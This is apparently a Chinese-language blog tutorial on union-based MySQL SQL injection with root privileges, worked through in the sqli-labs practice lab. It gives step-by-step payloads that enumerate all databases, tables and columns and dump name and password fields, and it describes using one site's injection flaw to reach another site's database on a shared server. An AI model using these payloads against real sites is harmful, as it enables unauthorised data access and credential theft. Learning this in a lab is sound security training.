MySQL高权限注入

当多个网站共享一个数据库服务器的时候,root就拥有最高权限,可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。因此,当我们获取到普通用户权限时,我们只拥有耽搁数据库权限,甚至会读写文件失败;但取得最高权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作

如果在实战中,发现一个网站A有SQL注入的漏洞,可以利用这个漏洞去访问共享的MYSQL服务器下的另一个数据库B(另一个共享这个服务器的网站B所使用的数据库)。但前提是网站A拥有高权限(root)

在MYSQL手工注入基础方式中,以sqli-labs靶场less-2中,已经知道了2,3都是回显点,如果需要查看当前的用户是什么用户,可以在其中一个回显点处改为user(),示例如下:

id=-1 union select 1,user(),3

效果如下:

可以看到当前访问这个网站的用户是root用户,拥有最高权限。这个root权限由程序设计人员决定。

MySQL权限介绍

mysql库中存在4个控制权限的表,权限由高到低分别为user表,db表,tables_priv表,columns_priv表。user表意味着最高权限;db表可以设置或看到当前用户对某个数据库的权限;tables_priv表是对于表的操作权限;columns_priv表是对字段的操作权限。

mysql权限表的验证过程为:

先从user表中的Host,User,Password这三个字段中判断连接的ip、用户名、密码是否存在,若存在则通过验证。

通过身份认证后,进行权限分配:按照user,db,tables_priv,columns_priv的顺序进行验证,即现检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db,tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检查tables_priv中次数据库对应的具体表,取得表中的权限Y,以此类推。

SQL注入相关语句

查看mysql有哪些用户
mysql> select user,host from mysql.user;
查看用户对应权限

示例如下:

select * from user where user='root' and host='主机名'\G;

示例命令查询了root用户的权限

\G使每个字段打印到单独的行,也有’;'的作用

创建mysql用户

基本语法如下:

CREATE USER '用户名'@'主机IP' IDENTIFIED BY '密码';
把普通用户变为管理员
GRANT ALL PRIVILEGES ON *.* TO '用户'@'主机IP' WITH GRANT OPTION;
删除用户
drop user finley@'主机IP';

高权限注入流程(以sqli-labs靶场less-2为例)

order by 猜解字段数量
id=1 order by 4 

得到报错

id=1 order by 3

无报错,说明字段数量为3

查询所有数据库名称
id=-1 union select 1,2,3

发现2和3两个回显点

id=-1 union select 1,user(),3

以上语句可以在回显点2显示用户权限为root,因此可以在这两个回显点进行高权限注入

接下来利用高权限查看当前服务器下所有的数据库名称

id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

schema_name字段保存数据库名称

Information_schema库下的schemata表保存着关于数据库的信息

查询数据库对应的表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=库名

table_name字段保存数据库的表名

查询表名对应的字段名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=表名

column_name字段保存字段信息

查询数据
id=-1 union select 1,name,pass from 库名.表名

库名.表名而不是直接写表名的原因是因为可能有很多的数据库,而多个数据库里可以同时存在相同名字的表,如果直接写表名,会导致它查询每个数据库中相同表名的所有数据,会导致数据量过多,影响自己的判断。

总结:

SQL高权限注入的前提:

  1. 用户权限必须是root
  2. 只有在使用高版本(5.0以上)MySQL服务器进行高权限注入

暂时写到这儿,有补充再更新吧:)

Last modification:January 1, 2023
If you think my article is useful to you, please feel free to appreciate